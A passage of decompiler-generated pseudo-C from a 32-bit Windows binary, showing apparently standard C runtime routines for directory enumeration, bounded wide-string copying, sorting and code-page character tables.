eax87 = g4;
eax88 = eax87 - reinterpret_cast<unsigned char>(g0);
v89 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(eax88) >> 2);
do {
if (v90 != 46)
goto addr_40704e_21;
if (!v91)
 continue;
if (v92 != 46)
goto addr_40704e_21;
if (!v93)
continue;
addr_40704e_21:
eax94 = fun_406e65(0, reinterpret_cast<uint32_t>(ebp35) + 0xfffffdd8, 0, v42, 0, 0, 0,
v84, 0, 0, 0, v41, v40, v39, v89);
if (eax94)
break;
v95 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(ebp35) + 0xfffffdac);
eax96 = reinterpret_cast<int32_t>(FindNextFileW(esi86, v95, 0, 0, v84, 0, 0, 0));
} while (eax96);
goto addr_407084_26;
} else {
fun_406e65(ecx50, 0, 0, 0, 0, 0, 0, v84, 0, 0, 0, v41, v40, v39, v97);
}
addr_406ff4_29:
if (esi86 != -1) {
FindClose(esi86, 0, 0, v84, 0, 0, 0);
}
addr_407002_32:
fun_402f62(v37 ^ reinterpret_cast<uint32_t>(ebp35), v89, v42, 0, v98, v99, v100, v101);
goto 0;
addr_407084_26:
edx102 = g0;
eax103 = g4;
eax104 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(eax103 -
reinterpret_cast<unsigned char>(edx102)) >> 2);
if (v89 != eax104) {
fun_4095c0(edx102 + reinterpret_cast<unsigned char>(v89) * 4, reinterpret_cast<unsigned
char>(eax104) - reinterpret_cast<unsigned char>(v89), 4, fun_406c80, esi86, v95, 0, 0, v84, 0,
0, 0);
goto addr_406ff4_29;
}
addr_406f68_12:
fun_406e65(ecx38, 0, 0, 0, 0, v41, v40, v39, v105, 47, 0, v106, v107, v108, v109);
goto addr_407002_32;
addr_406ef0_14:
return eax46;
}

void** fun_406bde(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
void** v7;
void** v8;
void** ebp9;
void** v10;
void** edx11;
void** ecx12;
void** v13;
void** esi14;
void** eax15;
void** v16;
void** eax17;
void* esi18;
void** ebx19;
void** edi20;
uint32_t eax21;
int1_t zf22;
uint32_t eax23;

v7 = reinterpret_cast<void**>(__return_address());
v8 = ebp9;
v10 = ecx;
edx11 = a5;
ecx12 = a2;
v13 = esi14;
if (edx11) {
if (!ecx12)
goto addr_406b51_4;
} else {
if (!ecx12) {
if (a3 != ecx12)
goto addr_406b51_4; else
goto addr_406b2b_7;
}
}
if (!a3) {
addr_406b51_4:
eax15 = fun_4060e8(ecx12, v13, v10, v8, v7, a2, a3, a4, a5, a6);
v16 = reinterpret_cast<void**>(22);
} else {
if (!edx11) {
*reinterpret_cast<void***>(ecx12) = reinterpret_cast<void**>(0);
goto addr_406b2b_7;
}
if (a4)
goto addr_406b67_12; else
 goto addr_406b4c_13;
}
addr_406b58_14:
*reinterpret_cast<void***>(eax15) = v16;
fun_40602c(ecx12, v13, v10, v8, v7);
eax17 = v16;
addr_406b62_15:
return eax17;
addr_406b67_12:
esi18 = reinterpret_cast<void*>(reinterpret_cast<unsigned char>(a4) -
reinterpret_cast<unsigned char>(ecx12));
ebx19 = a3;
edi20 = ecx12;
if (!reinterpret_cast<int1_t>(edx11 == 0xffffffff)) {
do {
eax21 = *reinterpret_cast<uint16_t*>(reinterpret_cast<uint32_t>(esi18) +
reinterpret_cast<unsigned char>(edi20));
*reinterpret_cast<void***>(edi20) = *reinterpret_cast<void***>(&eax21);
edi20 = edi20 + 2;
if (!*reinterpret_cast<void***>(&eax21))
break;
--ebx19;
} while (ebx19 && (--edx11, !!edx11));
zf22 = edx11 == 0;
edx11 = a5;
if (zf22)
goto addr_406baa_19;
} else {
do {
eax23 = *reinterpret_cast<uint16_t*>(reinterpret_cast<uint32_t>(esi18) +
reinterpret_cast<unsigned char>(edi20));
*reinterpret_cast<void***>(edi20) = *reinterpret_cast<void***>(&eax23);
edi20 = edi20 + 2;
if (!*reinterpret_cast<void***>(&eax23))
break;
--ebx19;
} while (ebx19);
goto addr_406b88_22;
}
addr_406baf_23:
if (ebx19) {
addr_406b2b_7:
eax17 = reinterpret_cast<void**>(0);
goto addr_406b62_15;
 } else {
if (!reinterpret_cast<int1_t>(edx11 == 0xffffffff)) {
*reinterpret_cast<void***>(ecx12) = reinterpret_cast<void**>(0);
eax15 = fun_4060e8(ecx12, v13, v10, v8, v7, a2, a3, a4, a5, a6);
v16 = reinterpret_cast<void**>(34);
goto addr_406b58_14;
} else {
*reinterpret_cast<int16_t*>(reinterpret_cast<uint32_t>(ecx12 +
reinterpret_cast<unsigned char>(a3) * 2) - 2) = 0;
eax17 = reinterpret_cast<void**>(80);
goto addr_406b62_15;
}
}
addr_406baa_19:
*reinterpret_cast<void***>(edi20) = reinterpret_cast<void**>(0);
goto addr_406baf_23;
addr_406b88_22:
goto addr_406baf_23;
addr_406b4c_13:
*reinterpret_cast<void***>(ecx12) = reinterpret_cast<void**>(0);
goto addr_406b51_4;
}

void** fun_407113(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void**
a24, void** a25, void** a26);

void** fun_4070de(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22) {
void** v23;
void** esi24;
void** edi25;
void** ebp26;
void** eax27;
void** eax28;

v23 = esi24;
eax27 = fun_407113(ecx, edi25, v23, ebp26, __return_address(), a2, a3, a4, a5, a6, a7, a8,
a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22);
if (!eax27) {
*reinterpret_cast<void***>(*reinterpret_cast<void***>(ecx + 4)) = a2;
*reinterpret_cast<void***>(ecx + 4) = *reinterpret_cast<void***>(ecx + 4) + 4;
 eax28 = reinterpret_cast<void**>(0);
} else {
fun_406c46(ecx, a2, edi25, v23, ebp26, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9,
a10, a11);
eax28 = eax27;
}
return eax28;
}

void fun_409580(void** ecx, void** a2, void** a3, void** a4);

void** fun_4094e0(void** ecx, void** a2, void** a3, void** a4, void** a5);

void** fun_4095c0(void** a1, void* a2, void** a3, void** a4, int32_t a5, void* a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12) {
void* ebp13;
uint32_t eax14;
uint32_t v15;
void** ecx16;
void** v17;
void** esi18;
void** v19;
void** edi20;
void** v21;
void** edi22;
void** esi23;
void** v24;
void** v25;
void** v26;
void** v27;
void** v28;
void** v29;
void** eax30;
void** v31;
void** v32;
void** v33;
void** v34;
void** v35;
void** v36;
void** v37;
void** v38;
void** eax39;
void** v40;
void** edx41;
void** v42;
uint32_t ebx43;
void** ebx44;
void** v45;
int32_t eax46;
int32_t eax47;
int32_t eax48;
void** eax49;
void** edi50;
void** esi51;
void** edx52;
void** v53;
void** edi54;
void** v55;
int32_t eax56;
void** esi57;
int32_t eax58;
int32_t eax59;
void** v60;
void** v61;
void** edx62;
void** esi63;
void* ebx64;
void** cl65;
void** edi66;
int32_t eax67;
void** esi68;
int32_t eax69;
void** eax70;
void** eax71;

ebp13 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

eax14 = g416004;
v15 = eax14 ^ reinterpret_cast<uint32_t>(ebp13);
ecx16 = a1;
v17 = ecx16;
esi18 = a4;
v19 = esi18;
edi20 = a3;
v21 = edi20;
if (!ecx16 && a2 || (!edi20 || !esi18)) {
eax30 = fun_4060e8(ecx16, edi22, esi23, v24, v25, v26, v27, v28, v29, v17);
*reinterpret_cast<void***>(eax30) = reinterpret_cast<void**>(22);
fun_40602c(ecx16, edi22, esi23, v31, v32);
 eax39 = fun_402f62(v15 ^ reinterpret_cast<uint32_t>(ebp13), v33, v34, v35, v36, v37, v38,
v17);
return eax39;
} else {
v40 = reinterpret_cast<void**>(0);
if (reinterpret_cast<uint32_t>(a2) >= 2) {
edx41 = reinterpret_cast<void**>((reinterpret_cast<uint32_t>(a2) - 1) *
reinterpret_cast<unsigned char>(edi20) + reinterpret_cast<unsigned char>(ecx16));
while (1) {
v42 = edx41;
while (ebx43 = (reinterpret_cast<unsigned char>(edx41) - reinterpret_cast<unsigned
char>(ecx16)) / reinterpret_cast<unsigned char>(edi20) + 1, ebx43 > 8) {
ebx44 = reinterpret_cast<void**>((ebx43 >> 1) * reinterpret_cast<unsigned
char>(edi20) + reinterpret_cast<unsigned char>(ecx16));
v45 = ebx44;
image_base_(esi18, ecx16, ebx44);
eax46 = reinterpret_cast<int32_t>(esi18(esi18, ecx16, ebx44));
if (!(reinterpret_cast<uint1_t>(eax46 < 0) | reinterpret_cast<uint1_t>(eax46 == 0))) {
fun_409580(esi18, v17, ebx44, edi20);
}
image_base_(esi18, v17, v42);
eax47 = reinterpret_cast<int32_t>(esi18(esi18, v17, v42));
if (!(reinterpret_cast<uint1_t>(eax47 < 0) | reinterpret_cast<uint1_t>(eax47 == 0))) {
fun_409580(esi18, v17, v42, edi20);
}
image_base_(esi18, ebx44, v42);
eax48 = reinterpret_cast<int32_t>(esi18(esi18, ebx44, v42));
if (!(reinterpret_cast<uint1_t>(eax48 < 0) | reinterpret_cast<uint1_t>(eax48 == 0))) {
fun_409580(esi18, ebx44, v42, edi20);
}
eax49 = v42;
edi50 = eax49;
esi51 = v17;
edx52 = v21;
v53 = eax49;
while (1) {
if (reinterpret_cast<unsigned char>(ebx44) <= reinterpret_cast<unsigned
char>(esi51)) {
addr_40974b_15:
edi54 = v19;
} else {
do {
esi51 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(esi51) +
reinterpret_cast<unsigned char>(edx52));
 v55 = esi51;
if (reinterpret_cast<unsigned char>(esi51) >= reinterpret_cast<unsigned
char>(ebx44))
goto addr_409745_17;
image_base_(v19, esi51, ebx44);
eax56 = reinterpret_cast<int32_t>(v19(v19, esi51, ebx44));
edx52 = v21;
} while (reinterpret_cast<uint1_t>(eax56 < 0) | reinterpret_cast<uint1_t>(eax56
== 0));
if (reinterpret_cast<unsigned char>(ebx44) > reinterpret_cast<unsigned
char>(esi51)) {
addr_409782_20:
esi57 = v19;
goto addr_409790_21;
} else {
addr_409745_17:
eax49 = v42;
goto addr_40974b_15;
}
}
do {
esi51 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(esi51) +
reinterpret_cast<unsigned char>(edx52));
if (reinterpret_cast<unsigned char>(esi51) > reinterpret_cast<unsigned
char>(eax49))
break;
image_base_(edi54, esi51, ebx44);
eax58 = reinterpret_cast<int32_t>(edi54(edi54, esi51, ebx44));
edx52 = v21;
eax49 = v42;
} while (reinterpret_cast<uint1_t>(eax58 < 0) | reinterpret_cast<uint1_t>(eax58
== 0));
edi50 = v53;
v55 = esi51;
goto addr_409782_20;
do {
addr_409790_21:
edx52 = v21;
edi50 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edi50) -
reinterpret_cast<unsigned char>(edx52));
if (reinterpret_cast<unsigned char>(edi50) <= reinterpret_cast<unsigned
char>(ebx44))
break;
image_base_(esi57, edi50, ebx44);
 eax59 = reinterpret_cast<int32_t>(esi57(esi57, edi50, ebx44));
} while (!reinterpret_cast<uint1_t>(reinterpret_cast<uint1_t>(eax59 < 0) |
reinterpret_cast<uint1_t>(eax59 == 0)));
goto addr_4097af_26;
addr_4097b5_27:
esi51 = v55;
v53 = edi50;
if (reinterpret_cast<unsigned char>(edi50) < reinterpret_cast<unsigned
char>(esi51))
break;
v60 = edx52;
v61 = edi50;
if (esi51 != edi50) {
edx62 = edi50;
esi63 = v60;
ebx64 = reinterpret_cast<void*>(reinterpret_cast<unsigned char>(esi51) -
reinterpret_cast<unsigned char>(edi50));
do {
++edx62;
cl65 = *reinterpret_cast<void***>(reinterpret_cast<uint32_t>(ebx64) +
reinterpret_cast<unsigned char>(edx62) + 0xffffffff);
*reinterpret_cast<void***>(reinterpret_cast<uint32_t>(ebx64) +
reinterpret_cast<unsigned char>(edx62) + 0xffffffff) = *reinterpret_cast<void***>(edx62);
*reinterpret_cast<void***>(edx62 + 0xffffffff) = cl65;
--esi63;
} while (esi63);
esi51 = v55;
ebx44 = v45;
edx52 = v21;
}
eax49 = v42;
if (ebx44 != edi50)
continue;
ebx44 = esi51;
v45 = ebx44;
continue;
addr_4097af_26:
edx52 = v21;
goto addr_4097b5_27;
}
edi66 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edi50) +
reinterpret_cast<unsigned char>(edx52));
if (reinterpret_cast<unsigned char>(ebx44) >= reinterpret_cast<unsigned
char>(edi66))
 goto addr_40985b_35;
do {
edi66 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edi66) -
reinterpret_cast<unsigned char>(edx52));
if (reinterpret_cast<unsigned char>(edi66) <= reinterpret_cast<unsigned
char>(ebx44))
goto addr_40985b_35;
image_base_(v19, edi66, ebx44);
eax67 = reinterpret_cast<int32_t>(v19(v19, edi66, ebx44));
edx52 = v21;
} while (!eax67);
if (reinterpret_cast<unsigned char>(ebx44) < reinterpret_cast<unsigned
char>(edi66)) {
addr_40988a_40:
edx41 = v42;
if (reinterpret_cast<int32_t>(reinterpret_cast<unsigned char>(edi66) -
reinterpret_cast<unsigned char>(v17)) < reinterpret_cast<int32_t>(reinterpret_cast<unsigned
char>(edx41) - reinterpret_cast<unsigned char>(esi51)))
goto addr_4098db_41;
} else {
addr_40985b_35:
esi68 = v19;
goto addr_409861_42;
}
if (reinterpret_cast<unsigned char>(v17) < reinterpret_cast<unsigned char>(edi66))
{
*reinterpret_cast<void***>(reinterpret_cast<uint32_t>(ebp13) +
reinterpret_cast<unsigned char>(v40) * 4 - 0xf4) = v17;
*reinterpret_cast<void***>(reinterpret_cast<uint32_t>(ebp13) +
reinterpret_cast<unsigned char>(v40) * 4 - 0x7c) = edi66;
++v40;
}
edi20 = v21;
if (reinterpret_cast<unsigned char>(esi51) >= reinterpret_cast<unsigned
char>(edx41))
goto addr_409914_46;
ecx16 = esi51;
esi18 = v19;
v17 = ecx16;
continue;
do {
addr_409861_42:
edi66 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edi66) -
reinterpret_cast<unsigned char>(edx52));
 if (reinterpret_cast<unsigned char>(edi66) <= reinterpret_cast<unsigned
char>(v17))
break;
image_base_(esi68, edi66, ebx44);
eax69 = reinterpret_cast<int32_t>(esi68(esi68, edi66, ebx44));
edx52 = v21;
} while (!eax69);
esi51 = v55;
goto addr_40988a_40;
}
fun_4094e0(ecx16, ecx16, v42, edi20, esi18);
addr_409922_51:
eax70 = v40 - 1;
v40 = eax70;
if (reinterpret_cast<signed char>(eax70) < reinterpret_cast<signed char>(0))
break;
ecx16 = *reinterpret_cast<void***>(reinterpret_cast<uint32_t>(ebp13) +
reinterpret_cast<unsigned char>(eax70) * 4 - 0xf4);
edx41 = *reinterpret_cast<void***>(reinterpret_cast<uint32_t>(ebp13) +
reinterpret_cast<unsigned char>(eax70) * 4 - 0x7c);
v17 = ecx16;
continue;
addr_4098db_41:
if (reinterpret_cast<unsigned char>(esi51) < reinterpret_cast<unsigned char>(edx41))
{
*reinterpret_cast<void***>(reinterpret_cast<uint32_t>(ebp13) +
reinterpret_cast<unsigned char>(v40) * 4 - 0xf4) = esi51;
*reinterpret_cast<void***>(reinterpret_cast<uint32_t>(ebp13) +
reinterpret_cast<unsigned char>(v40) * 4 - 0x7c) = edx41;
++v40;
}
ecx16 = v17;
esi18 = v19;
if (reinterpret_cast<unsigned char>(ecx16) >= reinterpret_cast<unsigned
char>(edi66)) {
edi20 = v21;
goto addr_409922_51;
} else {
edx41 = edi66;
edi20 = v21;
continue;
}
addr_409914_46:
esi18 = v19;
 goto addr_409922_51;
}
}
eax71 = fun_402f62(v15 ^ reinterpret_cast<uint32_t>(ebp13), v61, v60, v53, v45, v55, v40,
v17);
return eax71;
}
}

void** fun_4070b9(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12) {
void** v13;
int32_t v14;
int32_t esi15;
void** v16;
void** edi17;
void** edi18;
void** esi19;
void** v20;
void** v21;
void** eax22;

v13 = reinterpret_cast<void**>(__return_address());
v14 = esi15;
v16 = edi17;
edi18 = ecx;
esi19 = *reinterpret_cast<void***>(edi18);
while (esi19 != *reinterpret_cast<void***>(edi18 + 4)) {
v20 = *reinterpret_cast<void***>(esi19);
fun_406c46(ecx, v20, v16, *reinterpret_cast<void***>(&v14), v13, a2, a3, a4, a5, a6, a7,
a8, a9, a10, a11, a12);
ecx = v20;
esi19 = esi19 + 4;
}
v21 = *reinterpret_cast<void***>(edi18);
eax22 = fun_406c46(ecx, v21, v16, *reinterpret_cast<void***>(&v14), v13, a2, a3, a4, a5, a6,
a7, a8, a9, a10, a11, a12);
return eax22;
}

void fun_407385(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void**
a24, void** a25, void** a26, void** a27, void** a28, void** a29, void** a30, void** a31, void**
a32, void** a33) {
void** ebx34;
void** esi35;
void** edi36;
void** esi37;
void** ebx38;
void** ebp39;
int32_t ecx40;
void** edi41;
void** edi42;
void** esi43;
void* edi44;
void** ecx45;
int32_t edx46;

ebx34 = a2;
esi35 = ebx34 + 24;
fun_403de0(ecx, esi35, 0, 0x101, edi36, esi37, ebx38, ebp39, __return_address(), a2, a3, a4,
a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24,
a25, a26, a27, a28, a29, a30, a31, a32, a33);
*reinterpret_cast<void***>(ebx34 + 4) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(ebx34 + 8) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(ebx34 + 0x21c) = reinterpret_cast<void**>(0);
ecx40 = 0x101;
edi41 = ebx34 + 12;
*reinterpret_cast<void***>(edi41) = reinterpret_cast<void**>(0);
edi42 = edi41 + 4;
*reinterpret_cast<void***>(edi42) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(edi42 + 4) = reinterpret_cast<void**>(0);
esi43 = esi35 + 4 + 4 + 4;
edi44 = reinterpret_cast<void*>(0x416358 - reinterpret_cast<unsigned char>(ebx34));
do {
*reinterpret_cast<void***>(esi43) =
*reinterpret_cast<void***>(reinterpret_cast<uint32_t>(edi44) + reinterpret_cast<unsigned
char>(esi43));
++esi43;
--ecx40;
} while (ecx40);
ecx45 = ebx34 + 0x119;
edx46 = 0x100;
do {
*reinterpret_cast<void***>(ecx45) = *reinterpret_cast<void***>(reinterpret_cast<unsigned
char>(ecx45) + reinterpret_cast<uint32_t>(edi44));
 ++ecx45;
--edx46;
} while (edx46);
return;
}

int32_t GetCPInfo = 0x154ca;

struct s28 {
signed char[25] pad25;
unsigned char f19;
};

void** fun_4082aa(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20);

void** fun_409bbd(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, int32_t a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15,
void** a16);

void** fun_4073ea(void** a1) {

void* ebp2;
uint32_t eax3;
uint32_t v4;
void** v5;
void** ebx6;
void** v7;
void** esi8;
void** esi9;
void** v10;
void** edi11;
void** v12;
void** v13;
int32_t eax14;
void** edx15;
void* ecx16;
void** eax17;
void** v18;
signed char* edx19;
void** eax20;
void** v21;
struct s28* eax22;
uint32_t eax23;
void* eax24;
unsigned char al25;
unsigned char v26;
void* edx27;
unsigned char v28;
void* eax29;
unsigned char v30;
void** v31;
void** v32;
void** v33;
void** v34;
void** v35;
void** v36;
void** v37;
void** v38;
void** v39;
void** v40;
void** v41;
void** v42;
void** v43;
void** v44;
void** v45;
void** v46;
void** v47;
void* ecx48;
uint32_t eax49;
signed char al50;
void** v51;
void** v52;
void** v53;
void** eax54;

ebp2 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

eax3 = g416004;
v4 = eax3 ^ reinterpret_cast<uint32_t>(ebp2);
v5 = ebx6;
v7 = esi8;
esi9 = a1;
v10 = edi11;
v12 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ebp2) + 0xfffff8e8);
v13 = *reinterpret_cast<void***>(esi9 + 4);
eax14 = reinterpret_cast<int32_t>(GetCPInfo());
if (!eax14) {
edx15 = esi9 + 0x119;
 ecx16 = reinterpret_cast<void*>(0);
eax17 = reinterpret_cast<void**>(0x9f - reinterpret_cast<unsigned char>(edx15));
v18 = eax17;
do {
edx19 = reinterpret_cast<signed char*>(reinterpret_cast<unsigned char>(edx15) +
reinterpret_cast<uint32_t>(ecx16));
eax20 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(eax17) +
reinterpret_cast<uint32_t>(edx19));
v21 = eax20;
if (reinterpret_cast<unsigned char>(eax20 + 32) > reinterpret_cast<unsigned char>(25))
{
if (reinterpret_cast<unsigned char>(v21) > reinterpret_cast<unsigned char>(25)) {
*edx19 = 0;
continue;
} else {
eax22 = reinterpret_cast<struct s28*>(reinterpret_cast<unsigned char>(esi9) +
reinterpret_cast<uint32_t>(ecx16));
eax22->f19 = reinterpret_cast<unsigned char>(eax22->f19 | 32);
eax23 = reinterpret_cast<uint32_t>(ecx16) + 0xffffffe0;
}
} else {
*reinterpret_cast<unsigned char*>(reinterpret_cast<unsigned char>(esi9) +
reinterpret_cast<uint32_t>(ecx16) + 25) = reinterpret_cast<unsigned
char>(*reinterpret_cast<unsigned char*>(reinterpret_cast<unsigned char>(esi9) +
reinterpret_cast<uint32_t>(ecx16) + 25) | 16);
eax23 = reinterpret_cast<uint32_t>(ecx16) + 32;
}
*edx19 = *reinterpret_cast<signed char*>(&eax23);
eax17 = v18;
edx15 = esi9 + 0x119;
ecx16 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(ecx16) + 1);
} while (reinterpret_cast<uint32_t>(ecx16) < 0x100);
} else {
eax24 = reinterpret_cast<void*>(0);
do {
*reinterpret_cast<signed char*>(reinterpret_cast<uint32_t>(ebp2) +
reinterpret_cast<uint32_t>(eax24) + 0xfffffefc) = *reinterpret_cast<signed char*>(&eax24);
eax24 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(eax24) + 1);
} while (reinterpret_cast<uint32_t>(eax24) < 0x100);
al25 = v26;
while (al25) {
edx27 = reinterpret_cast<void*>(static_cast<uint32_t>(v28));
eax29 = reinterpret_cast<void*>(static_cast<uint32_t>(al25));
 while (reinterpret_cast<uint32_t>(eax29) <= reinterpret_cast<uint32_t>(edx27) &&
reinterpret_cast<uint32_t>(eax29) < 0x100) {
*reinterpret_cast<signed char*>(reinterpret_cast<uint32_t>(ebp2) +
reinterpret_cast<uint32_t>(eax29) + 0xfffffefc) = 32;
eax29 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(eax29) + 1);
}
al25 = v30;
}
v31 = *reinterpret_cast<void***>(esi9 + 4);
v32 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ebp2) + 0xfffff8fc);
v33 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ebp2) + 0xfffffefc);
fun_4082aa(0, 1, v33, 0x100, v32, v31, 0, v13, v12, v10, v7, v5, v34, v35, v36, v37, v38,
v39, v40, v41);
v42 = *reinterpret_cast<void***>(esi9 + 4);
v43 = *reinterpret_cast<void***>(esi9 + 0x21c);
fun_409bbd(0, v43, 0x100, reinterpret_cast<uint32_t>(ebp2) + 0xfffffefc, 0x100,
reinterpret_cast<uint32_t>(ebp2) + 0xfffffdfc, 0x100, v42, 0, 0, 1, v33, 0x100, v32, v31, 0);
v44 = *reinterpret_cast<void***>(esi9 + 4);
v45 = *reinterpret_cast<void***>(esi9 + 0x21c);
fun_409bbd(0, v45, 0x200, reinterpret_cast<uint32_t>(ebp2) + 0xfffffefc, 0x100,
reinterpret_cast<uint32_t>(ebp2) + 0xfffffcfc, 0x100, v44, 0, v13, v12, v10, v7, v5, v46, v47);
ecx48 = reinterpret_cast<void*>(0);
do {
eax49 = *reinterpret_cast<uint16_t*>(reinterpret_cast<uint32_t>(ebp2) +
reinterpret_cast<uint32_t>(ecx48) * 2 - 0x704);
if (!(*reinterpret_cast<unsigned char*>(&eax49) & 1)) {
if (!(*reinterpret_cast<unsigned char*>(&eax49) & 2)) {
*reinterpret_cast<signed char*>(reinterpret_cast<unsigned char>(esi9) +
reinterpret_cast<uint32_t>(ecx48) + 0x119) = 0;
continue;
} else {
*reinterpret_cast<unsigned char*>(reinterpret_cast<unsigned char>(esi9) +
reinterpret_cast<uint32_t>(ecx48) + 25) = reinterpret_cast<unsigned
char>(*reinterpret_cast<unsigned char*>(reinterpret_cast<unsigned char>(esi9) +
reinterpret_cast<uint32_t>(ecx48) + 25) | 32);
al50 = *reinterpret_cast<signed char*>(reinterpret_cast<uint32_t>(ebp2) +
reinterpret_cast<uint32_t>(ecx48) + 0xfffffcfc);
}
} else {
*reinterpret_cast<unsigned char*>(reinterpret_cast<unsigned char>(esi9) +
reinterpret_cast<uint32_t>(ecx48) + 25) = reinterpret_cast<unsigned
char>(*reinterpret_cast<unsigned char*>(reinterpret_cast<unsigned char>(esi9) +
reinterpret_cast<uint32_t>(ecx48) + 25) | 16);
 al50 = *reinterpret_cast<signed char*>(reinterpret_cast<uint32_t>(ebp2) +
reinterpret_cast<uint32_t>(ecx48) + 0xfffffdfc);
}
*reinterpret_cast<signed char*>(reinterpret_cast<unsigned char>(esi9) +
reinterpret_cast<uint32_t>(ecx48) + 0x119) = al50;
ecx48 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(ecx48) + 1);
} while (reinterpret_cast<uint32_t>(ecx48) < 0x100);
}
eax54 = fun_402f62(v4 ^ reinterpret_cast<uint32_t>(ebp2), v7, v5, v18, v21, v51, v52, v53);
return eax54;
}

void** fun_405d20(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8);

struct s29 {
signed char[8] pad8;
void** f8;
};

int32_t MultiByteToWideChar = 0x1543c;

struct s30 {
signed char[848] pad848;
uint32_t f350;
};

void** fun_408217(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13);

void** fun_4083c7(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22);

void fun_40cb10(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13);

int32_t GetStringTypeW = 0x1554c;

void** fun_4082aa(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20) {
void*** esp21;
uint32_t eax22;
void** v23;
void** edi24;
void** esi25;
void** ebx26;
void** v27;
void** v28;
void** v29;
void** ecx30;
struct s29* v31;
void** eax32;
void** v33;
void** v34;
void** eax35;
signed char v36;
struct s30* v37;
void** ebx38;
void** ecx39;
uint32_t eax40;
void** esi41;
void** ecx42;
uint32_t eax43;
void** v44;
void** v45;
void** v46;
void** v47;
void** eax48;
void** v49;
void** v50;
void** v51;
void** v52;
void** ebp53;
void** v54;
void** v55;
void** v56;
void** v57;
void** v58;
void** v59;
void** v60;
void** eax61;
void** v62;
void** v63;
void** v64;
void** v65;
int32_t eax66;
 esp21 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
eax22 = g416004;
v23 = reinterpret_cast<void**>(eax22 ^ reinterpret_cast<uint32_t>(esp21));
fun_405d20(esp21 + 0xffffffe8, a1, edi24, esi25, ebx26, v27, v28, v29);
ecx30 = a6;
if (!ecx30) {
ecx30 = v31->f8;
a6 = v31->f8;
}
eax32 = reinterpret_cast<void**>(0);
*reinterpret_cast<unsigned char*>(&eax32) = reinterpret_cast<uint1_t>(!!a7);
v33 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(eax32) * 8 + 1);
v34 = ecx30;
eax35 = reinterpret_cast<void**>(MultiByteToWideChar(v34, v33, a3, a4, 0, 0));
if (!eax35) {
addr_4083a1_4:
if (v36) {
v37->f350 = v37->f350 & 0xfffffffd;
}
} else {
ebx38 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(eax35) +
reinterpret_cast<unsigned char>(eax35));
ecx39 = ebx38 + 8;
eax40 = reinterpret_cast<unsigned char>(eax35) - (reinterpret_cast<unsigned
char>(eax35) + reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax35) <
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(eax35) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(ebx38) < reinterpret_cast<unsigned
char>(ecx39)))));
if (!(reinterpret_cast<unsigned char>(ecx39) & eax40)) {
esi41 = reinterpret_cast<void**>(0);
goto addr_408362_8;
} else {
ecx42 = ebx38 + 8;
eax43 = eax40 - (eax40 + reinterpret_cast<uint1_t>(eax40 < eax40 +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(ebx38) < reinterpret_cast<unsigned
char>(ecx42)))) & reinterpret_cast<unsigned char>(ecx42);
